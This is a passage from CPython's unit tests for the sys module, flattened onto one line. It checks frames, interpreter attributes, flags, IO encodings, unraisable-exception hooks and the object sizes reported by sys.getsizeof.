test_getframe(self): self.assertRaises(TypeError, sys._getframe, 42, 42) self.assertRaises(ValueError, sys._getframe, 2000000000) self.assertTrue( SysModuleTest.test_getframe.__code__ \ is sys._getframe().f_code ) # sys._current_frames() is a CPython-only gimmick. @threading_helper.reap_threads def test_current_frames(self): import threading import traceback # Spawn a thread that blocks at a known place. Then the main # thread does sys._current_frames(), and verifies that the frames # returned make sense. entered_g = threading.Event() leave_g = threading.Event() thread_info = [] # the thread's id def f123(): g456() def g456(): thread_info.append(threading.get_ident()) entered_g.set() leave_g.wait() t = threading.Thread(target=f123) t.start() entered_g.wait() # At this point, t has finished its entered_g.set(), although it's # impossible to guess whether it's still on that line or has moved on # to its leave_g.wait(). self.assertEqual(len(thread_info), 1) thread_id = thread_info[0] d = sys._current_frames() for tid in d: self.assertIsInstance(tid, int) self.assertGreater(tid, 0) main_id = threading.get_ident() self.assertIn(main_id, d) self.assertIn(thread_id, d) # Verify that the captured main-thread frame is _this_ frame. frame = d.pop(main_id) self.assertTrue(frame is sys._getframe()) # Verify that the captured thread frame is blocked in g456, called # from f123. This is a litte tricky, since various bits of # threading.py are also in the thread's call stack. frame = d.pop(thread_id) stack = traceback.extract_stack(frame) for i, (filename, lineno, funcname, sourceline) in enumerate(stack): if funcname == "f123": break else: self.fail("didn't find f123() on thread's call stack") self.assertEqual(sourceline, "g456()") # And the next record must be for g456(). filename, lineno, funcname, sourceline = stack[i+1] self.assertEqual(funcname, "g456") self.assertIn(sourceline, ["leave_g.wait()", "entered_g.set()"]) # Reap the spawned thread. leave_g.set() t.join() def test_attributes(self): self.assertIsInstance(sys.api_version, int) self.assertIsInstance(sys.argv, list) for arg in sys.argv: self.assertIsInstance(arg, str) self.assertIsInstance(sys.orig_argv, list) for arg in sys.orig_argv: self.assertIsInstance(arg, str) self.assertIn(sys.byteorder, ("little", "big")) self.assertIsInstance(sys.builtin_module_names, tuple) self.assertIsInstance(sys.copyright, str) self.assertIsInstance(sys.exec_prefix, str) self.assertIsInstance(sys.base_exec_prefix, str) self.assertIsInstance(sys.executable, str) self.assertEqual(len(sys.float_info), 11) self.assertEqual(sys.float_info.radix, 2) self.assertEqual(len(sys.int_info), 2) self.assertTrue(sys.int_info.bits_per_digit % 5 == 0) self.assertTrue(sys.int_info.sizeof_digit >= 1) self.assertEqual(type(sys.int_info.bits_per_digit), int) self.assertEqual(type(sys.int_info.sizeof_digit), int) self.assertIsInstance(sys.hexversion, int) self.assertEqual(len(sys.hash_info), 9) self.assertLess(sys.hash_info.modulus, 2**sys.hash_info.width) # sys.hash_info.modulus should be a prime; we do a quick # probable primality test (doesn't exclude the possibility of # a Carmichael number) for x in range(1, 100): self.assertEqual( pow(x, sys.hash_info.modulus-1, sys.hash_info.modulus), 1, "sys.hash_info.modulus {} is a non-prime".format( sys.hash_info.modulus) ) self.assertIsInstance(sys.hash_info.inf, int) self.assertIsInstance(sys.hash_info.nan, int) self.assertIsInstance(sys.hash_info.imag, int) algo = sysconfig.get_config_var("Py_HASH_ALGORITHM") if sys.hash_info.algorithm in {"fnv", "siphash24"}: self.assertIn(sys.hash_info.hash_bits, {32, 64}) self.assertIn(sys.hash_info.seed_bits, {32, 64, 128}) if algo == 1: self.assertEqual(sys.hash_info.algorithm, "siphash24") elif algo == 2: self.assertEqual(sys.hash_info.algorithm, "fnv") else: self.assertIn(sys.hash_info.algorithm, {"fnv", "siphash24"}) else: # PY_HASH_EXTERNAL self.assertEqual(algo, 0) self.assertGreaterEqual(sys.hash_info.cutoff, 0) self.assertLess(sys.hash_info.cutoff, 8) self.assertIsInstance(sys.maxsize, int) self.assertIsInstance(sys.maxunicode, int) self.assertEqual(sys.maxunicode, 0x10FFFF) self.assertIsInstance(sys.platform, str) self.assertIsInstance(sys.prefix, str) self.assertIsInstance(sys.base_prefix, str) self.assertIsInstance(sys.platlibdir, str) self.assertIsInstance(sys.version, str) vi = sys.version_info self.assertIsInstance(vi[:], tuple) self.assertEqual(len(vi), 5) self.assertIsInstance(vi[0], int) self.assertIsInstance(vi[1], int) self.assertIsInstance(vi[2], int) self.assertIn(vi[3], ("alpha", "beta", "candidate", "final")) self.assertIsInstance(vi[4], int) self.assertIsInstance(vi.major, int) self.assertIsInstance(vi.minor, int) self.assertIsInstance(vi.micro, int) self.assertIn(vi.releaselevel, ("alpha", "beta", "candidate", "final")) self.assertIsInstance(vi.serial, int) self.assertEqual(vi[0], vi.major) self.assertEqual(vi[1], vi.minor) self.assertEqual(vi[2], vi.micro) self.assertEqual(vi[3], vi.releaselevel) self.assertEqual(vi[4], vi.serial) self.assertTrue(vi > (1,0,0)) self.assertIsInstance(sys.float_repr_style, str) self.assertIn(sys.float_repr_style, ('short', 'legacy')) if not sys.platform.startswith('win'): self.assertIsInstance(sys.abiflags, str) def test_thread_info(self): info = sys.thread_info self.assertEqual(len(info), 3) self.assertIn(info.name, ('nt', 'pthread', 'solaris', None)) self.assertIn(info.lock, ('semaphore', 'mutex+cond', None)) def test_43581(self): # Can't use sys.stdout, as this is a StringIO object when # the test runs under regrtest. self.assertEqual(sys.__stdout__.encoding, sys.__stderr__.encoding) def test_intern(self): global INTERN_NUMRUNS INTERN_NUMRUNS += 1 self.assertRaises(TypeError, sys.intern) s = "never interned before" + str(INTERN_NUMRUNS) self.assertTrue(sys.intern(s) is s) s2 = s.swapcase().swapcase() self.assertTrue(sys.intern(s2) is s) # Subclasses of string can't be interned, because they # provide too much opportunity for insane things to happen. # We don't want them in the interned dict and if they aren't # actually interned, we don't want to create the appearance # that they are by allowing intern() to succeed. class S(str): def __hash__(self): return 123 self.assertRaises(TypeError, sys.intern, S("abc")) def test_sys_flags(self): self.assertTrue(sys.flags) attrs = ("debug", "inspect", "interactive", "optimize", "dont_write_bytecode", "no_user_site", "no_site", "ignore_environment", "verbose", "bytes_warning", "quiet", "hash_randomization", "isolated", "dev_mode", "utf8_mode") for attr in attrs: self.assertTrue(hasattr(sys.flags, attr), attr) attr_type = bool if attr == "dev_mode" else int self.assertEqual(type(getattr(sys.flags, attr)), attr_type, attr) self.assertTrue(repr(sys.flags)) self.assertEqual(len(sys.flags), len(attrs)) self.assertIn(sys.flags.utf8_mode, {0, 1, 2}) def assert_raise_on_new_sys_type(self, sys_attr): # Users are intentionally prevented from creating new instances of # sys.flags, sys.version_info, and sys.getwindowsversion. attr_type = type(sys_attr) with self.assertRaises(TypeError): attr_type() with self.assertRaises(TypeError): attr_type.__new__(attr_type) def test_sys_flags_no_instantiation(self): self.assert_raise_on_new_sys_type(sys.flags) def test_sys_version_info_no_instantiation(self): self.assert_raise_on_new_sys_type(sys.version_info) def test_sys_getwindowsversion_no_instantiation(self): # Skip if not being run on Windows. test.support.get_attribute(sys, "getwindowsversion") self.assert_raise_on_new_sys_type(sys.getwindowsversion()) @test.support.cpython_only def test_clear_type_cache(self): sys._clear_type_cache() def test_ioencoding(self): env = dict(os.environ) # Test character: cent sign, encoded as 0x4A (ASCII J) in CP424, # not representable in ASCII. env["PYTHONIOENCODING"] = "cp424" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout = subprocess.PIPE, env=env) out = p.communicate()[0].strip() expected = ("\xa2" + os.linesep).encode("cp424") self.assertEqual(out, expected) env["PYTHONIOENCODING"] = "ascii:replace" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout = subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, b'?') env["PYTHONIOENCODING"] = "ascii" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) out, err = p.communicate() self.assertEqual(out, b'') self.assertIn(b'UnicodeEncodeError:', err) self.assertIn(rb"'\xa2'", err) env["PYTHONIOENCODING"] = "ascii:" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xa2))'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, env=env) out, err = p.communicate() self.assertEqual(out, b'') self.assertIn(b'UnicodeEncodeError:', err) self.assertIn(rb"'\xa2'", err) env["PYTHONIOENCODING"] = ":surrogateescape" p = subprocess.Popen([sys.executable, "-c", 'print(chr(0xdcbd))'], stdout=subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, b'\xbd') @unittest.skipUnless(os_helper.FS_NONASCII, 'requires OS support of non-ASCII encodings') @unittest.skipUnless(sys.getfilesystemencoding() == locale.getpreferredencoding(False), 'requires FS encoding to match locale') def test_ioencoding_nonascii(self): env = dict(os.environ) env["PYTHONIOENCODING"] = "" p = subprocess.Popen([sys.executable, "-c", 'print(%a)' % os_helper.FS_NONASCII], stdout=subprocess.PIPE, env=env) out = p.communicate()[0].strip() self.assertEqual(out, os.fsencode(os_helper.FS_NONASCII)) @unittest.skipIf(sys.base_prefix != sys.prefix, 'Test is not venv-compatible') def test_executable(self): # sys.executable should be absolute self.assertEqual(os.path.abspath(sys.executable), sys.executable) # Issue #7774: Ensure that sys.executable is an empty string if argv[0] # has been set to a non existent program name and Python is unable to # retrieve the real program name # For a normal installation, it should work without 'cwd' # argument. For test runs in the build directory, see #7774. python_dir = os.path.dirname(os.path.realpath(sys.executable)) p = subprocess.Popen( ["nonexistent", "-c", 'import sys; print(sys.executable.encode("ascii", "backslashreplace"))'], executable=sys.executable, stdout=subprocess.PIPE, cwd=python_dir) stdout = p.communicate()[0] executable = stdout.strip().decode("ASCII") p.wait() self.assertIn(executable, ["b''", repr(sys.executable.encode("ascii", "backslashreplace"))]) def check_fsencoding(self, fs_encoding, expected=None): self.assertIsNotNone(fs_encoding) codecs.lookup(fs_encoding) if expected: self.assertEqual(fs_encoding, expected) def test_getfilesystemencoding(self): fs_encoding = sys.getfilesystemencoding() if sys.platform == 'darwin': expected = 'utf-8' else: expected = None self.check_fsencoding(fs_encoding, expected) def c_locale_get_error_handler(self, locale, isolated=False, encoding=None): # Force the POSIX locale env = os.environ.copy() env["LC_ALL"] = locale env["PYTHONCOERCECLOCALE"] = "0" code = '\n'.join(( 'import sys', 'def dump(name):', ' std = getattr(sys, name)', ' print("%s: %s" % (name, std.errors))', 'dump("stdin")', 'dump("stdout")', 'dump("stderr")', )) args = [sys.executable, "-X", "utf8=0", "-c", code] if isolated: args.append("-I") if encoding is not None: env['PYTHONIOENCODING'] = encoding else: env.pop('PYTHONIOENCODING', None) p = subprocess.Popen(args, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, env=env, universal_newlines=True) stdout, stderr = p.communicate() return stdout def check_locale_surrogateescape(self, locale): out = self.c_locale_get_error_handler(locale, isolated=True) self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') # replace the default error handler out = self.c_locale_get_error_handler(locale, encoding=':ignore') self.assertEqual(out, 'stdin: ignore\n' 'stdout: ignore\n' 'stderr: backslashreplace\n') # force the encoding out = self.c_locale_get_error_handler(locale, encoding='iso8859-1') self.assertEqual(out, 'stdin: strict\n' 'stdout: strict\n' 'stderr: backslashreplace\n') out = self.c_locale_get_error_handler(locale, encoding='iso8859-1:') self.assertEqual(out, 'stdin: strict\n' 'stdout: strict\n' 'stderr: backslashreplace\n') # have no any effect out = self.c_locale_get_error_handler(locale, encoding=':') self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') out = self.c_locale_get_error_handler(locale, encoding='') self.assertEqual(out, 'stdin: surrogateescape\n' 'stdout: surrogateescape\n' 'stderr: backslashreplace\n') def test_c_locale_surrogateescape(self): self.check_locale_surrogateescape('C') def test_posix_locale_surrogateescape(self): self.check_locale_surrogateescape('POSIX') def test_implementation(self): # This test applies to all implementations equally. levels = {'alpha': 0xA, 'beta': 0xB, 'candidate': 0xC, 'final': 0xF} self.assertTrue(hasattr(sys.implementation, 'name')) self.assertTrue(hasattr(sys.implementation, 'version')) self.assertTrue(hasattr(sys.implementation, 'hexversion')) self.assertTrue(hasattr(sys.implementation, 'cache_tag')) version = sys.implementation.version self.assertEqual(version[:2], (version.major, version.minor)) hexversion = (version.major << 24 | version.minor << 16 | version.micro << 8 | levels[version.releaselevel] << 4 | version.serial << 0) self.assertEqual(sys.implementation.hexversion, hexversion) # PEP 421 requires that .name be lower case. self.assertEqual(sys.implementation.name, sys.implementation.name.lower()) @test.support.cpython_only def test_debugmallocstats(self): # Test sys._debugmallocstats() from test.support.script_helper import assert_python_ok args = ['-c', 'import sys; sys._debugmallocstats()'] ret, out, err = assert_python_ok(*args) self.assertIn(b"free PyDictObjects", err) # The function has no parameter self.assertRaises(TypeError, sys._debugmallocstats, True) @unittest.skipUnless(hasattr(sys, "getallocatedblocks"), "sys.getallocatedblocks unavailable on this build") def test_getallocatedblocks(self): try: import _testcapi except ImportError: with_pymalloc = support.with_pymalloc() else: try: alloc_name = _testcapi.pymem_getallocatorsname() except RuntimeError as exc: # "cannot get allocators name" (ex: tracemalloc is used) with_pymalloc = True else: with_pymalloc = (alloc_name in ('pymalloc', 'pymalloc_debug')) # Some sanity checks a = sys.getallocatedblocks() self.assertIs(type(a), int) if with_pymalloc: self.assertGreater(a, 0) else: # When WITH_PYMALLOC isn't available, we don't know anything # about the underlying implementation: the function might # return 0 or something greater. self.assertGreaterEqual(a, 0) try: # While we could imagine a Python session where the number of # multiple buffer objects would exceed the sharing of references, # it is unlikely to happen in a normal test run. self.assertLess(a, sys.gettotalrefcount()) except AttributeError: # gettotalrefcount() not available pass gc.collect() b = sys.getallocatedblocks() self.assertLessEqual(b, a) gc.collect() c = sys.getallocatedblocks() self.assertIn(c, range(b - 50, b + 50)) def test_is_finalizing(self): self.assertIs(sys.is_finalizing(), False) # Don't use the atexit module because _Py_Finalizing is only set # after calling atexit callbacks code = """if 1: import sys class AtExit: is_finalizing = sys.is_finalizing print = print def __del__(self): self.print(self.is_finalizing(), flush=True) # Keep a reference in the __main__ module namespace, so the # AtExit destructor will be called at Python exit ref = AtExit() """ rc, stdout, stderr = assert_python_ok('-c', code) self.assertEqual(stdout.rstrip(), b'True') def test_issue20602(self): # sys.flags and sys.float_info were wiped during shutdown. code = """if 1: import sys class A: def __del__(self, sys=sys): print(sys.flags) print(sys.float_info) a = A() """ rc, out, err = assert_python_ok('-c', code) out = out.splitlines() self.assertIn(b'sys.flags', out[0]) self.assertIn(b'sys.float_info', out[1]) def test_sys_ignores_cleaning_up_user_data(self): code = """if 1: import struct, sys class C: def __init__(self): self.pack = struct.pack def __del__(self): self.pack('I', -42) sys.x = C() """ rc, stdout, stderr = assert_python_ok('-c', code) self.assertEqual(rc, 0) self.assertEqual(stdout.rstrip(), b"") self.assertEqual(stderr.rstrip(), b"") @unittest.skipUnless(hasattr(sys, 'getandroidapilevel'), 'need sys.getandroidapilevel()') def test_getandroidapilevel(self): level = sys.getandroidapilevel() self.assertIsInstance(level, int) self.assertGreater(level, 0) def test_sys_tracebacklimit(self): code = """if 1: import sys def f1(): 1 / 0 def f2(): f1() sys.tracebacklimit = %r f2() """ def check(tracebacklimit, expected): p = subprocess.Popen([sys.executable, '-c', code % tracebacklimit], stderr=subprocess.PIPE) out = p.communicate()[1] self.assertEqual(out.splitlines(), expected) traceback = [ b'Traceback (most recent call last):', b' File "<string>", line 8, in <module>', b' File "<string>", line 6, in f2', b' File "<string>", line 4, in f1', b'ZeroDivisionError: division by zero' ] check(10, traceback) check(3, traceback) check(2, traceback[:1] + traceback[2:]) check(1, traceback[:1] + traceback[3:]) check(0, [traceback[-1]]) check(-1, [traceback[-1]]) check(1<<1000, traceback) check(-1<<1000, [traceback[-1]]) check(None, traceback) def test_no_duplicates_in_meta_path(self): self.assertEqual(len(sys.meta_path), len(set(sys.meta_path))) @unittest.skipUnless(hasattr(sys, "_enablelegacywindowsfsencoding"), 'needs sys._enablelegacywindowsfsencoding()') def test__enablelegacywindowsfsencoding(self): code = ('import sys', 'sys._enablelegacywindowsfsencoding()', 'print(sys.getfilesystemencoding(), sys.getfilesystemencodeerrors())') rc, out, err = assert_python_ok('-c', '; '.join(code)) out = out.decode('ascii', 'replace').rstrip() self.assertEqual(out, 'mbcs replace') def test_orig_argv(self): code = textwrap.dedent(''' import sys print(sys.argv) print(sys.orig_argv) ''') args = [sys.executable, '-I', '-X', 'utf8', '-c', code, 'arg'] proc = subprocess.run(args, check=True, capture_output=True, text=True) expected = [ repr(['-c', 'arg']), # sys.argv repr(args), # sys.orig_argv ] self.assertEqual(proc.stdout.rstrip().splitlines(), expected, proc) @test.support.cpython_only class UnraisableHookTest(unittest.TestCase): def write_unraisable_exc(self, exc, err_msg, obj): import _testcapi import types err_msg2 = f"Exception ignored {err_msg}" try: _testcapi.write_unraisable_exc(exc, err_msg, obj) return types.SimpleNamespace(exc_type=type(exc), exc_value=exc, exc_traceback=exc.__traceback__, err_msg=err_msg2, object=obj) finally: # Explicitly break any reference cycle exc = None def test_original_unraisablehook(self): for err_msg in (None, "original hook"): with self.subTest(err_msg=err_msg): obj = "an object" with test.support.captured_output("stderr") as stderr: with test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): self.write_unraisable_exc(ValueError(42), err_msg, obj) err = stderr.getvalue() if err_msg is not None: self.assertIn(f'Exception ignored {err_msg}: {obj!r}\n', err) else: self.assertIn(f'Exception ignored in: {obj!r}\n', err) self.assertIn('Traceback (most recent call last):\n', err) self.assertIn('ValueError: 42\n', err) def test_original_unraisablehook_err(self): # bpo-22836: PyErr_WriteUnraisable() should give sensible reports class BrokenDel: def __del__(self): exc = ValueError("del is broken") # The following line is included in the traceback report: raise exc class BrokenStrException(Exception): def __str__(self): raise Exception("str() is broken") class BrokenExceptionDel: def __del__(self): exc = BrokenStrException() # The following line is included in the traceback report: raise exc for test_class in (BrokenDel, BrokenExceptionDel): with self.subTest(test_class): obj = test_class() with test.support.captured_stderr() as stderr, \ test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): # Trigger obj.__del__() del obj report = stderr.getvalue() self.assertIn("Exception ignored", report) self.assertIn(test_class.__del__.__qualname__, report) self.assertIn("test_sys.py", report) self.assertIn("raise exc", report) if test_class is BrokenExceptionDel: self.assertIn("BrokenStrException", report) self.assertIn("<exception str() failed>", report) else: self.assertIn("ValueError", report) self.assertIn("del is broken", report) self.assertTrue(report.endswith("\n")) def test_original_unraisablehook_wrong_type(self): exc = ValueError(42) with test.support.swap_attr(sys, 'unraisablehook', sys.__unraisablehook__): with self.assertRaises(TypeError): sys.unraisablehook(exc) def test_custom_unraisablehook(self): hook_args = None def hook_func(args): nonlocal hook_args hook_args = args obj = object() try: with test.support.swap_attr(sys, 'unraisablehook', hook_func): expected = self.write_unraisable_exc(ValueError(42), "custom hook", obj) for attr in "exc_type exc_value exc_traceback err_msg object".split(): self.assertEqual(getattr(hook_args, attr), getattr(expected, attr), (hook_args, expected)) finally: # expected and hook_args contain an exception: break reference cycle expected = None hook_args = None def test_custom_unraisablehook_fail(self): def hook_func(*args): raise Exception("hook_func failed") with test.support.captured_output("stderr") as stderr: with test.support.swap_attr(sys, 'unraisablehook', hook_func): self.write_unraisable_exc(ValueError(42), "custom hook fail", None) err = stderr.getvalue() self.assertIn(f'Exception ignored in sys.unraisablehook: ' f'{hook_func!r}\n', err) self.assertIn('Traceback (most recent call last):\n', err) self.assertIn('Exception: hook_func failed\n', err) @test.support.cpython_only class SizeofTest(unittest.TestCase): def setUp(self): self.P = struct.calcsize('P') self.longdigit = sys.int_info.sizeof_digit import _testinternalcapi self.gc_headsize = _testinternalcapi.SIZEOF_PYGC_HEAD check_sizeof = test.support.check_sizeof def test_gc_head_size(self): # Check that the gc header size is added to objects tracked by the gc. vsize = test.support.calcvobjsize gc_header_size = self.gc_headsize # bool objects are not gc tracked self.assertEqual(sys.getsizeof(True), vsize('') + self.longdigit) # but lists are self.assertEqual(sys.getsizeof([]), vsize('Pn') + gc_header_size) def test_errors(self): class BadSizeof: def __sizeof__(self): raise ValueError self.assertRaises(ValueError, sys.getsizeof, BadSizeof()) class InvalidSizeof: def __sizeof__(self): return None self.assertRaises(TypeError, sys.getsizeof, InvalidSizeof()) sentinel = ["sentinel"] self.assertIs(sys.getsizeof(InvalidSizeof(), sentinel), sentinel) class FloatSizeof: def __sizeof__(self): return 4.5 self.assertRaises(TypeError, sys.getsizeof, FloatSizeof()) self.assertIs(sys.getsizeof(FloatSizeof(), sentinel), sentinel) class OverflowSizeof(int): def __sizeof__(self): return int(self) self.assertEqual(sys.getsizeof(OverflowSizeof(sys.maxsize)), sys.maxsize + self.gc_headsize) with self.assertRaises(OverflowError): sys.getsizeof(OverflowSizeof(sys.maxsize + 1)) with self.assertRaises(ValueError): sys.getsizeof(OverflowSizeof(-1)) with self.assertRaises((ValueError, OverflowError)): sys.getsizeof(OverflowSizeof(-sys.maxsize - 1)) def test_default(self): size = test.support.calcvobjsize self.assertEqual(sys.getsizeof(True), size('') + self.longdigit) self.assertEqual(sys.getsizeof(True, -1), size('') + self.longdigit) def test_objecttypes(self): # check all types defined in Objects/ calcsize = struct.calcsize size = test.support.calcobjsize vsize = test.support.calcvobjsize check = self.check_sizeof # bool check(True, vsize('') + self.longdigit) # buffer # XXX # builtin_function_or_method check(len, size('5P')) # bytearray samples = [b'', b'u'*100000] for sample in samples: x = bytearray(sample) check(x, vsize('n2Pi') + x.__alloc__()) # bytearray_iterator check(iter(bytearray()), size('nP')) # bytes check(b'', vsize('n') + 1) check(b'x' * 10, vsize('n') + 11) # cell def get_cell(): x = 42 def inner(): return x return inner check(get_cell().__closure__[0], size('P')) # code def check_code_size(a, expected_size): self.assertGreaterEqual(sys.getsizeof(a), expected_size) check_code_size(get_cell().__code__, size('6i13P')) check_code_size(get_cell.__code__, size('6i13P')) def get_cell2(x): def inner(): return x return inner check_code_size(get_cell2.__code__, size('6i13P') + calcsize('n')) # complex check(complex(0,1), size('2d')) # method_descriptor (descriptor object) check(str.lower, size('3PPP')) # classmethod_descriptor (descriptor object) # XXX # member_descriptor (descriptor object) import datetime check(datetime.timedelta.days, size('3PP')) # getset_descriptor (descriptor object) import collections check(collections.defaultdict.default_factory, size('3PP')) # wrapper_descriptor (descriptor object) check(int.__add__, size('3P2P')) # method-wrapper (descriptor object) check({}.__iter__, size('2P')) # empty dict check({}, size('nQ2P')) # dict check({"a": 1}, size('nQ2P') + calcsize('2nP2n') + 8 + (8*2//3)*calcsize('n2P')) longdict = {1:1, 2:2, 3:3, 4:4, 5:5, 6:6, 7:7, 8:8} check(longdict, size('nQ2P') + calcsize('2nP2n') + 16 + (16*2//3)*calcsize('n2P')) # dictionary-keyview check({}.keys(), size('P')) # dictionary-valueview check({}.values(), size('P')) # dictionary-itemview check({}.items(), size('P')) # dictionary iterator check(iter({}), size('P2nPn')) # dictionary-keyiterator check(iter({}.keys()), size('P2nPn')) # dictionary-valueiterator check(iter({}.values()), size('P2nPn')) # dictionary-itemiterator check(iter({}.items()), size('P2nPn')) # dictproxy class C(object): pass check(C.__dict__, size('P')) # BaseException check(BaseException(), size('5Pb')) # UnicodeEncodeError check(UnicodeEncodeError("", "", 0, 0, ""), size('5Pb 2P2nP')) # UnicodeDecodeError check(UnicodeDecodeError("", b"", 0, 0, ""), size('5Pb 2P2nP')) # UnicodeTranslateError check(UnicodeTranslateError("", 0, 1, ""), size('5Pb 2P2nP')) # ellipses check(Ellipsis, size('')) # EncodingMap import codecs, encodings.iso8859_3 x = codecs.charmap_build(encodings.iso8859_3.decoding_table) check(x, size('32B2iB')) # enumerate check(enumerate([]), size('n3P')) # reverse check(reversed(''), size('nP')) # float check(float(0), size('d')) # sys.floatinfo check(sys.float_info, vsize('') + self.P * len(sys.float_info)) # frame import inspect CO_MAXBLOCKS = 20 x = inspect.currentframe() ncells = len(x.f_code.co_cellvars) nfrees = len(x.f_code.co_freevars) extras = x.f_code.co_stacksize + x.f_code.co_nlocals +\ ncells + nfrees - 1 check(x, vsize('4Pi2c4P3ic' + CO_MAXBLOCKS*'3i' + 'P' + extras*'P')) # function def func(): pass check(func, size('14P')) class c(): @staticmethod def foo(): pass @classmethod def bar(cls): pass # staticmethod check(foo, size('PP')) # classmethod check(bar, size('PP')) # generator def get_gen(): yield 1 check(get_gen(), size('P2PPP4P')) # iterator check(iter('abc'), size('lP')) # callable-iterator import re check(re.finditer('',''), size('2P')) # list samples = [[], [1,2,3], ['1', '2', '3']] for sample in samples: check(list(sample), vsize('Pn') + len(sample)*self.P) # sortwrapper (list) # XXX # cmpwrapper (list) # XXX # listiterator (list) check(iter([]), size('lP')) # listreverseiterator (list) check(reversed([]), size('nP')) # int check(0, vsize('')) check(1, vsize('') + self.longdigit) check(-1, vsize('') + self.longdigit) PyLong_BASE = 2**sys.int_info.bits_per_digit check(int(PyLong_BASE), vsize('') + 2*self.longdigit) check(int(PyLong_BASE**2-1), vsize('') + 2*self.longdigit) check(int(PyLong_BASE**2), vsize('') + 3*self.longdigit) # module check(unittest, size('PnPPP')) # None check(None, size('')) # NotImplementedType check(NotImplemented, size('')) # object check(object(), size('')) # property (descriptor object) class C(object): def getx(self): return self.__x def setx(self, value): self.__x = value def delx(self): del self.__x x = property(getx, setx, delx, "") check(x, size('4Pi')) # PyCapsule # XXX # rangeiterator check(iter(range(1)), size('4l')) # reverse check(reversed(''), size('nP')) # range check(range(1), size('4P')) check(range(66000), size('4P')) # set # frozenset PySet_MINSIZE = 8 samples = [[], range(10), range(50)] s = size('3nP' + PySet_MINSIZE*'nP' + '2nP') for sample in samples: minused = len(sample) if minused == 0: tmp = 1 # the computation of minused is actually a bit more complicated # but this suffices for the sizeof test minused = minused*2 newsize = PySet_MINSIZE while newsize <= minused: newsize = newsize << 1 if newsize <= 8: check(set(sample), s) check(frozenset(sample), s) else: check(set(sample), s + newsize*calcsize('nP')) check(frozenset(sample), s + newsize*calcsize('nP')) # setiterator check(iter(set()), size('P3n')) # slice check(slice(0), size('3P')) # super check(super(int), size('3P')) # tuple check((), vsize('')) check((1,2,3), vsize('') + 3*self.P) # type # static type: PyTypeObject fmt = 'P2nPI13Pl4Pn9Pn11PIPP' s = vsize(fmt) check(int, s) # class s = vsize(fmt + # PyTypeObject '3P' # PyAsyncMethods '36P' # PyNumberMethods '3P' # PyMappingMethods '10P' # PySequenceMethods '2P' # PyBufferProcs '5P') class newstyleclass(object): pass # Separate block for PyDictKeysObject with 8 keys and 5 entries check(newstyleclass, s + calcsize("2nP2n0P") + 8 + 5*calcsize("n2P")) # dict with shared keys check(newstyleclass().__dict__, size('nQ2P') + 5*self.P) o = newstyleclass() o.a = o.b = o.c = o.d = o.e = o.f = o.g = o.h = 1 # Separate block for PyDictKeysObject with 16 keys and 10 entries check(newstyleclass, s + calcsize("2nP2n0P") + 16 + 10*calcsize("n2P")) # dict with shared keys check(newstyleclass().__dict__, size('nQ2P') + 10*self.P) # unicode # each tuple contains a string and its expected character size # don't put any static strings here, as they may contain # wchar_t or UTF-8 representations samples = ['1'*100, '\xff'*50, '\u0100'*40, '\uffff'*100, '\U00010000'*30, '\U0010ffff'*100] asciifields = "nnbP" compactfields = asciifields + "nPn" unicodefields = compactfields + "P" for s in samples: maxchar = ord(max(s)) if maxchar < 128: L = size(asciifields) + len(s) + 1 elif maxchar < 256: L = size(compactfields) + len(s) + 1 elif maxchar < 65536: L = size(compactfields) + 2*(len(s) + 1) else: L = size(compactfields) + 4*(len(s) + 1) check(s, L) # verify that the UTF-8 size is accounted for s = chr(0x4000) # 4 bytes canonical representation check(s, size(compactfields) + 4) # compile() will trigger the generation of the UTF-8 # representation as a side effect compile(s, "<stdin>", "eval") check(s, size(compactfields) + 4 + 4) # TODO: add check that forces the presence of wchar_t representation # TODO: add check that forces layout of unicodefields # weakref import weakref check(weakref.ref(int), size('2Pn2P')) # weakproxy # XXX # weakcallableproxy check(weakref.proxy(int), size('2Pn2P')) def check_slots(self, obj, base, extra): expected = sys.getsizeof(base) + struct.calcsize(extra) if gc.is_tracked(obj) and not gc.is_tracked(base): expected += self.gc_headsize self.assertEqual(sys.getsizeof(obj), expected) def test_slots(self): # check all subclassable types defined in Objects/ that allow # non-empty __slots__ check = self.check_slots class BA(bytearray): __slots__ = 'a', 'b', 'c' check(BA(), bytearray(), '3P') class D(dict): __slots__ = 'a', 'b', 'c' check(D(x=[]), {'x': []}, '3P') class L(list): __slots__ = 'a', 'b', 'c' check(L(), [], '3P') class S(set): __slots__ = 'a', 'b', 'c' check(S(), set(), '3P') class FS(frozenset): __slots__ = 'a', 'b', 'c' check(FS(), frozenset(), '3P') from collections import OrderedDict class OD(OrderedDict): __slots__ = 'a', 'b', 'c' check(OD(x=[]), OrderedDict(x=[]), '3P') def test_pythontypes(self): # check all types defined in Python/ size = test.support.calcobjsize vsize = test.support.calcvobjsize check = self.check_sizeof # _ast.AST import _ast check(_ast.AST(), size('P')) try: raise TypeError except TypeError: tb = sys.exc_info()[2] # traceback if tb is not None: check(tb, size('2P2i')) # symtable entry # XXX # sys.flags check(sys.flags, vsize('') + self.P * len(sys.flags)) def test_asyncgen_hooks(self): old = sys.get_asyncgen_hooks() self.assertIsNone(old.firstiter) self.assertIsNone(old.finalizer) firstiter = lambda *a: None sys.set_asyncgen_hooks(firstiter=firstiter) hooks = sys.get_asyncgen_hooks() self.assertIs(hooks.firstiter, firstiter) self.assertIs(hooks[0], firstiter) self.assertIs(hooks.finalizer, None) self.assertIs(hooks[1], None) finalizer = lambda *a: None sys.set_asyncgen_hooks(finalizer=finalizer) hooks = sys.get_asyncgen_hooks() self.assertIs(hooks.firstiter, firstiter) self.assertIs(hooks[0], firstiter) self.assertIs(hooks.finalizer, finalizer) self.assertIs(hooks[1], finalizer) sys.set_asyncgen_hooks(*old) cur = sys.get_asyncgen_hooks() self.assertIsNone(cur.firstiter) 